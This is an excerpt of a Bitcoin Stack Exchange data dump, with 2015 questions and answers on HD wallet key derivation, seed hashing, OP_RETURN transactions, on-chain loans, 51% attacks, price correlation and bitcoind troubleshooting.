  <row Id="37832" PostTypeId="2" ParentId="37826" CreationDate="2015-06-07T13:27:31.797" Score="9" Body="&lt;p&gt;It is possible for a custom implementation use hardened keys for all the leaf keys to enhance security in case of a single private key leak. This scheme will be incompatible with the standard compliant wallets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The BIP32 and BIP44 standards, use hardened keys up until the &quot;account&quot; level:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;m/44'/0'/account'&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but use non-hardened keys for the receive (a.k.a. external) and change (a.k.a. internal) addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is done to isolate the accounts and allow some flexibility:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use watch-only wallets by sharing the hardened xpub of the account.&lt;/li&gt;&#xA;&lt;li&gt;Derive new receive addresses without the need of the account private key (vs hardened derivation where the parent private key is required). This is a hassle because the account xpriv is usually encrypted and you need the user password every time.&lt;/li&gt;&#xA;&lt;li&gt;Store a single secret (the hardened xpriv) per account. Every time a transaction needs to be signed the correct child private key is derived on demand.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The security model of the BIP32/BIP44 is to use only one private key per account. The revealing of a non-hardened child private key equals to revealing of the account private key. If sharing of private keys is a requirement, it is preferable to create a new account and share the xpriv vs the non-hardened child private key of an existing account.&lt;/p&gt;&#xA;" OwnerUserId="13746" LastActivityDate="2015-06-07T13:27:31.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37833" PostTypeId="2" ParentId="37785" CreationDate="2015-06-07T19:40:34.880" Score="1" Body="&lt;p&gt;I agree with @nuggetbram, in person is the most practical way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An alternative is buying from a BTC ATM, for cash.  Those tend to charge very high fees, though, and would limit the amount you can buy per transaction (there should be no problem splitting to multiple transactions, though, as each is independently anonymous).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Due to strict anti money laundering (AML) regulations around the world, all major BTC exchanges (i.e. all the exchanges you can sort-of trust) employ Know Your Customer (KYC) controls, which make it impractical to use their services anonymously.&lt;/p&gt;&#xA;" OwnerUserId="15073" LastActivityDate="2015-06-07T19:40:34.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37834" PostTypeId="1" CreationDate="2015-06-08T03:58:56.747" Score="2" ViewCount="1016" Body="&lt;p&gt;According to &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0039.mediawiki&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bips/blob/master/bip-0039.mediawiki&lt;/a&gt; a 12 word BIP39 passphrase has entropy of 128 bits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My reason for doing so is that when I want check if I memorized my passphrase correctly, I could just check it against the hash instead of having to generate the HD wallet addresses and checking its balance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is it safe to store a double sha256 hash of my BIP39 seed on the blockchain?&lt;/p&gt;&#xA;" OwnerUserId="26671" LastActivityDate="2015-07-08T07:09:32.200" Title="Is it safe to store a sha256 hash of my BIP39 seed on the blockchain?" Tags="|mnemonic-seed|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37836" PostTypeId="2" ParentId="37816" CreationDate="2015-06-08T06:16:15.787" Score="1" Body="&lt;p&gt;That's not an error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Continue by running make, optimally with &lt;code&gt;-j&lt;/code&gt; set to the number of cores you have on your system. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-06-08T06:16:15.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37837" PostTypeId="2" ParentId="37799" CreationDate="2015-06-08T06:18:05.003" Score="0" Body="&lt;p&gt;No, new nodes don't support the HTTP transport. You'll need to use TCP. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-06-08T06:18:05.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37838" PostTypeId="2" ParentId="37834" CreationDate="2015-06-08T06:25:10.170" Score="3" Body="&lt;p&gt;You could and it's probably not a direct security issue, but it's a senseless waste of time trying to find it again. Keep in mind that doing this destroys the PBKDF2 key stretching used in the seed needlessly. Electrum stores a checksum with their 12 word seed (making it a 13 word seed) if you really desire that functionality, though it's clear if you have it right when the money in that wallet is restored. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-06-08T06:25:10.170" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37839" PostTypeId="1" AcceptedAnswerId="37853" CreationDate="2015-06-08T07:41:20.670" Score="5" ViewCount="567" Body="&lt;p&gt;Are loans with interest possible in Bitcoin, such that repayment is enforceably encoded with Bitcoin &lt;a href=&quot;http://chimera.labs.oreilly.com/books/1234000001802/ch05.html#tx_script&quot; rel=&quot;nofollow&quot;&gt;Script&lt;/a&gt; on the blockchain from the establishment of the lending contract?&lt;/p&gt;&#xA;" OwnerUserId="4334" LastEditorUserId="5406" LastEditDate="2015-06-17T12:23:08.797" LastActivityDate="2015-06-17T12:23:08.797" Title="Are loans with enforced repayment possible on the blockchain?" Tags="|transactions|script|economic-theory|contracts|loans|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37840" PostTypeId="1" CreationDate="2015-06-08T10:09:16.613" Score="3" ViewCount="1417" Body="&lt;p&gt;I am interested in security, identity and authenticity in electronic networks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What sort of security concerns could blockchain technology help with and what sort does it pose? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there entry and exit security concerns?&lt;/p&gt;&#xA;" OwnerUserId="26820" LastEditorUserId="5406" LastEditDate="2015-06-09T09:11:44.677" LastActivityDate="2015-06-09T09:30:09.190" Title="What security threats does blockchain technology solve or present?" Tags="|blockchain|security|decentralization|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37841" PostTypeId="2" ParentId="37785" CreationDate="2015-06-08T10:26:54.800" Score="1" Body="&lt;p&gt;A bitcoin ATM. When it asks if you have a wallet, answer negatively to get a paper wallet printed for you. Then load the paper wallet and walk away. After that transaction is confirmed, sweep the paper wallet funds into your own personal wallet. As someone else noted, this is not the cheapest way to do things, but it is safer than meeting someone with cash.&lt;/p&gt;&#xA;" OwnerUserId="24387" LastActivityDate="2015-06-08T10:26:54.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37843" PostTypeId="1" CreationDate="2015-06-08T12:44:59.917" Score="0" ViewCount="71" Body="&lt;p&gt;How can I calculate the ratio between this two type of bitcoin transaction?&#xA;Is it correct divide the total volume USD of the data at this link:&#xA;&lt;a href=&quot;http://data.bitcoinity.org/markets/volume/5y?c=e&amp;amp;r=week&amp;amp;t=a&amp;amp;volume_unit=btc&quot; rel=&quot;nofollow&quot;&gt;http://data.bitcoinity.org/markets/volume/5y?c=e&amp;amp;r=week&amp;amp;t=a&amp;amp;volume_unit=btc&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;by the total transaction volume (USD) of all the blockchain transaction?&lt;/p&gt;&#xA;" OwnerUserId="25054" LastActivityDate="2015-08-07T20:37:47.310" Title="Transaction for real use / transaction for changin Bitcoin in other currencies?" Tags="|transactions|exchange-rate|price-volatility|price-discovery|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37844" PostTypeId="1" AcceptedAnswerId="37845" CreationDate="2015-06-08T12:52:42.350" Score="2" ViewCount="706" Body="&lt;p&gt;I was under the impression that null-data transactions were standard, but whenever I try to broadcast one it takes a while for it to appear in a block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tested this by broadcasting 2 transactions with same fees and same priority. The standard one got picked up in the next block, while the null-data one has yet to appear in a block (there's been 3 non-full blocks mined so far).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example tx: &lt;a href=&quot;https://live.blockcypher.com/btc/tx/c0b0de8662054cadd461b488676a374f8f962c91612070e8e23b95d108d36217/&quot; rel=&quot;nofollow&quot;&gt;https://live.blockcypher.com/btc/tx/c0b0de8662054cadd461b488676a374f8f962c91612070e8e23b95d108d36217/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I doing anything wrong to make this transaction non-standard?&lt;/p&gt;&#xA;" OwnerUserId="2311" LastActivityDate="2023-07-16T19:01:57.253" Title="Do transactions with null data take longer to confirm?" Tags="|op-return|non-standard-transaction|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37845" PostTypeId="2" ParentId="37844" CreationDate="2015-06-08T13:01:42.667" Score="4" Body="&lt;ol&gt;&#xA;&lt;li&gt;Not all miners accept transactions with null-data (OP_RETURN)&#xA;outputs&lt;/li&gt;&#xA;&lt;li&gt;Not all nodes relay such transactions&lt;/li&gt;&#xA;&lt;li&gt;Are you sure that your null-data transaction is standard (for clients 0.9.x+) ?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;UPD: your output is 6a74686973206973206120746573740d0a and decoded to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_RETURN // 6a&#xA;OP_DEPTH  // 74&#xA;OP_ENDIF  // 68 ... oups!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is non-standard output. Because null-data output should contain only one OP_PUSH operation, not an arbitrary bytes&lt;/p&gt;&#xA;" OwnerUserId="12983" LastEditorUserId="12983" LastEditDate="2015-06-08T13:08:24.727" LastActivityDate="2015-06-08T13:08:24.727" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37846" PostTypeId="2" ParentId="37839" CreationDate="2015-06-08T13:42:39.753" Score="3" Body="&lt;p&gt;What do you mean by &quot;loans with interest&quot;? If you mean guaranteeing being&#xA;payed back the principal plus some interest that is not possible since &#xA;that depends on the external world (i.e. it is offchain).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, if you mean just creating repayment links for the agreed amounts it is just following the instructions of &lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0021&quot; rel=&quot;nofollow&quot;&gt;BIP21&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7299" LastActivityDate="2015-06-08T13:42:39.753" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37847" PostTypeId="1" CreationDate="2015-06-08T14:13:33.993" Score="2" ViewCount="2805" Body="&lt;p&gt;&lt;code&gt;$bitcoin-&amp;gt;sendfrom($this-&amp;gt;session-&amp;gt;userdata('account'), $_POST['address'], number_format($_POST['amount'], 8));&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but this isn't working. i got everything via json-rpc. but can't send or move money using  json-rpc. what is the problem?&lt;/p&gt;&#xA;" OwnerUserId="26456" LastEditorUserId="2306" LastEditDate="2015-06-08T18:01:27.697" LastActivityDate="2019-08-09T02:02:29.923" Title="how to send money using json-rpc in bitcoin-cli for php?" Tags="|bitcoind|json-rpc|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37848" PostTypeId="2" ParentId="36295" CreationDate="2015-06-08T14:26:59.613" Score="1" Body="&lt;h2&gt;Bitcoin and Ripple's past 90 days prices somewhat correlated&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Using price charts of the last 90 days in &lt;a href=&quot;https://www.coingecko.com/en/price_charts/ripple/usd/90_days&quot; rel=&quot;nofollow noreferrer&quot;&gt;XRP/USD&lt;/a&gt; and &lt;a href=&quot;https://www.coingecko.com/en/price_charts/bitcoin/usd/90_days&quot; rel=&quot;nofollow noreferrer&quot;&gt;BTC/USD&lt;/a&gt;, the daily prices of Ripple and Bitcoin appear to be somewhat correlated: Their correlation coefficient comes out as &lt;strong&gt;0.741&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Correlations in Coingecko's Top Ten&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I've proceeded to check the past 90 days correlations of the top ten cryptocurrencies as listed on Coingecko.com:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bsOnh.png&quot; alt=&quot;Top ten price correlation last 90 days&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the past ninety days:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Litecoin and Bitshares had a correlation of 0.93, as had Litecoin and NXT.&lt;/li&gt;&#xA;&lt;li&gt;Bitcoin appears to be most correlated with Ripple and Litecoin, both 0.74.&lt;/li&gt;&#xA;&lt;li&gt;Bitcoin appears to be least correlated with Stellar, at -0.19&lt;/li&gt;&#xA;&lt;li&gt;The least correlation appears to be between Dogecoin and Monero at -0.05.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Procedure&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;All data was taken from Coingecko's last 90 days pricecharts on 2015-06-08. Therafter, I plugged them into LibreOffice, and ran Correl(A;B) on each pair.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2015-06-08T14:26:59.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37849" PostTypeId="1" AcceptedAnswerId="37852" CreationDate="2015-06-08T14:34:12.433" Score="1" ViewCount="627" Body="&lt;p&gt;Here is the scenario: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt; Honest nodes build one block from Block_1. &lt;/ol&gt;&#xA;&#xA;&lt;ol&gt; Hacker nodes privately build four blocks from Block_1 and broadcast these malicious blocks. &lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now, where is the honest node's coinbase transaction (25 BTC + Transaction Fee). Is it included in the hacker's malicious blocks? &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Satoshi's white paper, he mentioned: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If a greedy attacker is able to assemble more CPU power than all the&#xA;  honest nodes, he would have to choose between using it to defraud&#xA;  people by &lt;strong&gt;&lt;em&gt;stealing back his payments&lt;/em&gt;&lt;/strong&gt;, or using it to &lt;strong&gt;&lt;em&gt;generate new coins&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I think a hack with more than 50% power could do BOTH, &lt;strong&gt;&lt;em&gt;stealing back his payments&lt;/em&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;em&gt;generate new coins&lt;/em&gt;&lt;/strong&gt;. Why am I wrong?&lt;/p&gt;&#xA;" OwnerUserId="24601" LastEditorUserId="5406" LastEditDate="2015-06-09T16:28:16.213" LastActivityDate="2015-06-30T09:19:11.247" Title="Where is coinbase transaction after a hacker successfully performs &gt;50% attack?" Tags="|doublespend|coinbase-transaction|majority-attack|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37850" PostTypeId="2" ParentId="37849" CreationDate="2015-06-08T14:55:59.603" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Now where is the honest node's coinbase transaction (25 BTC +&#xA;  Transaction Fee). Is it included in the hacker's malicious blocks?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, the honest node's coinbase transaction is included in its block. &lt;a href=&quot;https://bitcoin.org/en/developer-guide#transaction-data&quot; rel=&quot;nofollow&quot;&gt;A coinbase transaction is always the first transaction inside a block&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think by asking &lt;em&gt;where is ...&lt;/em&gt; you are actually wondering about &lt;em&gt;who will possess coinbase transaction&lt;/em&gt;!? If so, you should remember that the coinbase transaction/block reward will be paid to the miner of the block (including coinbase transaction) after this block is buried under 100 valid blocks &lt;strong&gt;ONLY&lt;/strong&gt; if those 100 blocks end up in the main blockchain!&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;However, a block must have 100 confirmations before that reward can be&#xA;  spent, so we generate 101 blocks to get access to the coinbase&#xA;  transaction from block #1.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;from &lt;a href=&quot;https://bitcoin.org/en/developer-examples#regtest-mode&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Developer Examples&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24556" LastEditorUserId="24556" LastEditDate="2015-06-08T15:05:05.713" LastActivityDate="2015-06-08T15:05:05.713" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="37851" PostTypeId="2" ParentId="37840" CreationDate="2015-06-08T14:59:57.073" Score="1" Body="&lt;p&gt;Blockchain technology solves &quot;Double-Spending&quot; without a trusted third party &lt;br&gt;&#xA;&#xA;Blockchain technology is vulnerable to &lt;a href=&quot;https://en.bitcoin.it/wiki/Majority_attack&quot; rel=&quot;nofollow&quot;&gt;Majority Attack&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24601" LastActivityDate="2015-06-08T14:59:57.073" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37852" PostTypeId="2" ParentId="37849" CreationDate="2015-06-08T15:23:33.747" Score="3" Body="&lt;p&gt;You're not wrong. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A miner with more than 51% of the network's mining power can build the longest chain by himself, thus reaping all block rewards and dictating which transactions make it into the longest blockchain, allowing him to doublespend at will. Also see: &lt;a href=&quot;https://bitcoin.stackexchange.com/q/658/5406&quot;&gt;What can an attacker with 51% of hash power do?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There can only be one valid block at each height, so when the attacker broadcasts his longer chain, it replaces the blocks of the honest node exclusively up to the common ancestor.&lt;br&gt;&#xA;The mining reward from the honest blocks which are now not part of this longest chain will be treated as if they had never been found, as they do not represent valid blocks in the longest chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the malicious node's contrarian position will slow down the number of blocks found to a respective amount due to the reduced mining power supporting the longest chain (assuming he is trying to catch-up).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By playing selfishly, he will be in control short-term, still get only 51% of the rewards (at least until the difficulty reset), and shake the trust in Bitcoin, thus eroding the value of his bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By playing cooperatively, he would gain 51% of the blocks and increase trust in the system, thus making his bitcoins more valuable.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2015-06-09T16:30:23.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37853" PostTypeId="2" ParentId="37839" CreationDate="2015-06-08T15:34:33.847" Score="3" Body="&lt;p&gt;Script is employed to encode the rules under which a Transaction Output may be spent. E.g. the most common Script requires just proof of control over an address. Thusly, scripts cannot determine circumstances beyond a single transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a consequence, it appears to be infeasible to set up an enforceable credit contract with interest, because the loan repayment would lock in an amount of bitcoins greater than the loan. Evidently, the borrowing party doesn't have that amount of money to render unspendable at this time, or otherwise they wouldn't be borrowing in the first place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lending offchain is possible, but very fraud prone due to it being hard to enforce repayment. Also see: &lt;a href=&quot;https://bitcoin.stackexchange.com/q/11392/5406&quot;&gt;Why there's no bank or institution lending Bitcoins?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2015-06-10T14:23:57.670" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="37854" PostTypeId="1" CreationDate="2015-06-08T16:00:30.007" Score="1" ViewCount="138" Body="&lt;p&gt;I am planning to make an website / wordpress plugin. Site will ask visitor's &lt;code&gt;account id&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Site will show content only if a bitcoin transaction with specified  &lt;code&gt;account id&lt;/code&gt; &amp;amp; &lt;code&gt;bitcoin amount&lt;/code&gt; &amp;amp; &lt;code&gt;message&lt;/code&gt; exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My big plan let visitor to track how a software have been made. Like in a version control system, like in Github visitor could track changes. But!! certain changes / commits the developer could charge some dollar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My specific question is: Can I &lt;strong&gt;query&lt;/strong&gt; all the &lt;strong&gt;bitcoin transactions&lt;/strong&gt; back to the past and filter with a predicate contains the following fields: &lt;code&gt;account id = 'abc'&lt;/code&gt;  &amp;amp; &lt;code&gt;bitcoin amount = 123&lt;/code&gt; &amp;amp; &lt;code&gt;message = 'def'&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="19532" LastEditorUserId="19532" LastEditDate="2015-06-08T16:24:50.597" LastActivityDate="2016-01-28T22:30:41.957" Title="account id &amp; bitcoin amount &amp; message ?-&gt; show website content" Tags="|transactions|wallet|address|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37855" PostTypeId="1" AcceptedAnswerId="42029" CreationDate="2015-06-08T17:18:15.293" Score="0" ViewCount="85" Body="&lt;p&gt;Is there a service or wallet where I can subscribe my email address to notifications on low balance on my bitcoin address?&lt;/p&gt;&#xA;" OwnerUserId="26327" LastActivityDate="2015-12-25T09:51:42.820" Title="Notifications on low balance of a bitcoin address" Tags="|wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37856" PostTypeId="1" CreationDate="2015-06-08T19:41:28.397" Score="10" ViewCount="36322" Body="&lt;p&gt;I just want to understand how this mining process works (from the developers point of view from very start to end). Can someone guide me towards a doc or a open source code (I am newbie here so a VERY BASIC one)?&#xA;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="26821" LastEditorUserId="5406" LastEditDate="2016-04-10T12:43:10.563" LastActivityDate="2018-03-23T11:02:52.987" Title="Want to write my own solo cpu bitcoin miner" Tags="|development|mining-technical-details|mining-software|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37857" PostTypeId="2" ParentId="37843" CreationDate="2015-06-08T19:52:32.537" Score="1" Body="&lt;p&gt;No, this is not a way that you can &lt;em&gt;accurately calculate&lt;/em&gt; this ratio, because trading is often an off-blockchain event. The sequence of events looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You send bitcoins to the exchange, using the blockchain. (Or you send fiat money to the exchange.)&lt;/li&gt;&#xA;&lt;li&gt;You make any number of trades internally to the site. The blockchain is not involved, only ledgers controlled by the site are updated.&lt;/li&gt;&#xA;&lt;li&gt;You send bitcoins from the exchange to a wallet, using the blockchain. (Or withdraw fiat money.)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Trading volume measurements are measuring step 2 there. That volume is not directly related to the blockchain volume. But, if you have other data too, to help you make sense of it, you could &lt;em&gt;estimate&lt;/em&gt; the ratio in question.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastActivityDate="2015-06-08T19:52:32.537" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37858" PostTypeId="2" ParentId="37856" CreationDate="2015-06-08T20:08:34.877" Score="9" Body="&lt;p&gt;I'm not sure that a guide as basic as you describe is even possible. It depends on what exactly you mean. Mining itself isn't &lt;em&gt;too&lt;/em&gt; complicated to &lt;em&gt;read&lt;/em&gt; and understand, but &lt;em&gt;writing a start-to-end&lt;/em&gt; app that can be used for mining means writing a full node. That is &lt;em&gt;very&lt;/em&gt; complicated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Writing a Bitcoin miner from start to end involves not only collecting transactions, calculating the Merkle root, constructing the block header, and the actual hashing/mining, but also verifying the blockchain and each transaction in it, and communicating with peers in the network to get and send blocks and transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some good resources for learning more are the &lt;a href=&quot;https://bitcoin.org/en/developer-guide&quot; rel=&quot;noreferrer&quot;&gt;bitcoin.org Developer Guide&lt;/a&gt; and the &lt;a href=&quot;https://en.bitcoin.it/wiki/Main_Page&quot; rel=&quot;noreferrer&quot;&gt;Bitcoin Wiki&lt;/a&gt;. These might include the basics that you are really after.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastActivityDate="2015-06-08T20:08:34.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37859" PostTypeId="1" AcceptedAnswerId="37880" CreationDate="2015-06-08T20:09:11.610" Score="5" ViewCount="1333" Body="&lt;p&gt;When I use bitcoin-cli sendrawtransaction and only get -25 errors. I have tried to push the transaction using different blockchain explorer sites, but that didn't work. I have tried:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;0100000001659d0ebe45e4446113776807a0160ab487a56f8386405e07d8d15275f18bb832010000006b483045022100e642093c9a56c76aeae91c68c19fd3f5f487d9d63c4f07259c5899a4df6f9bdf02203228b7f33a662fd5f3dc6fb3c361169392f91f74fe82ada1ce09bae55720ece70121029e033dda03e6cf9e0c93ac5b2689d047fd8e559ea0b5cfd1c86062387c672dcdffffffff0180d1f008000000001976a91476d2d121a1bbbc7e4c51f7a7c84437bb3aa1d66d88ac00000000&lt;/p&gt;&#xA;&#xA;&lt;p&gt;at&#xA;&lt;a href=&quot;https://live.blockcypher.com/btc-testnet/pushtx/&quot; rel=&quot;noreferrer&quot;&gt;https://live.blockcypher.com/btc-testnet/pushtx/&lt;/a&gt;&#xA;it decodes well, I get the message  &quot;Transaction Successfully Broadcst&quot;&#xA;but at the same time:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot; No transaction found with the hash 7f1aa3a20163a9d4058940dd6af29b3f7aefc037b2f3b21133a1413a990bc4e7&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can send transactions using sendtoaddress and this seems equivalent. I started from:&#xA;&lt;a href=&quot;https://live.blockcypher.com/btc-testnet/tx/32b88bf17552d1d8075e4086836fa587b40a16a0076877136144e445be0e9d65/&quot; rel=&quot;noreferrer&quot;&gt;https://live.blockcypher.com/btc-testnet/tx/32b88bf17552d1d8075e4086836fa587b40a16a0076877136144e445be0e9d65/&lt;/a&gt;&#xA;used:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bitcoin-cli createrawtransaction '[{&quot;txid&quot;: &quot;32b88bf17552d1d8075e4086836fa587b40a16a0076877136144e445be0e9d65&quot;, &quot;vout&quot;: 1}]' '{&quot;mrMEaWKfkJZcAN52VqNxKkF21uvf9HF9G7&quot;:1.5}'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;0100000001659d0ebe45e4446113776807a0160ab487a56f8386405e07d8d15275f18bb8320100000000ffffffff0180d1f008000000001976a91476d2d121a1bbbc7e4c51f7a7c84437bb3aa1d66d88ac00000000&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bitcoin-cli signrawtransaction 0100000001659d0ebe45e4446113776807a0160ab487a56f8386405e07d8d15275f18bb8320100000000ffffffff0180d1f008000000001976a91476d2d121a1bbbc7e4c51f7a7c84437bb3aa1d66d88ac00000000&#xA;{&#xA;    &quot;hex&quot; : &quot;0100000001659d0ebe45e4446113776807a0160ab487a56f8386405e07d8d15275f18bb832010000006b483045022100c139f0601bcef52dca990a7a5ae73a6e30ce5f521e2be25e80376338c4d0a84a02201f691b9295c32660d023ff65e8b2793b563f29b66d0c704577785d353e2f66620121029e033dda03e6cf9e0c93ac5b2689d047fd8e559ea0b5cfd1c86062387c672dcdffffffff0180d1f008000000001976a91476d2d121a1bbbc7e4c51f7a7c84437bb3aa1d66d88ac00000000&quot;,&#xA;    &quot;complete&quot; : true&#xA;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It decodes, can be signed, I have funds and I've sent similar transactions before, but now seems impossible.&lt;/p&gt;&#xA;" OwnerUserId="2281" LastEditorUserId="2281" LastEditDate="2015-06-09T17:39:12.913" LastActivityDate="2015-06-09T17:39:12.913" Title="Problem with sendrawtransaction" Tags="|bitcoind|testnet|raw-transaction|rpc-error-25|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="37860" PostTypeId="1" AcceptedAnswerId="37863" CreationDate="2015-06-08T20:32:07.547" Score="0" ViewCount="744" Body="&lt;p&gt;Hi all i need to add bootstrap.dat after downloading i start bitcoind with &lt;code&gt;-loadblock&lt;/code&gt; but not work i have error &lt;code&gt;Incorrect or no genesis block found. Wrong datadir for network?&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I start bitcoin with &lt;code&gt;./bitcoind -loadblock=/root/.bitcoin/bootstrap.dat&lt;/code&gt; and connexion of my VPS are very slow what is the good solution ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its possible because bootstrap.dat are very big file ? And what is the difference between -reindex and tindex ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks &lt;/p&gt;&#xA;" OwnerUserId="26795" LastEditorUserId="26795" LastEditDate="2015-06-08T20:38:57.423" LastActivityDate="2015-06-08T21:51:43.417" Title="Bootstrap.dat incorrect or no genesis block found" Tags="|bitcoind|bitcoin-core|daemon|bootstrap.dat|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
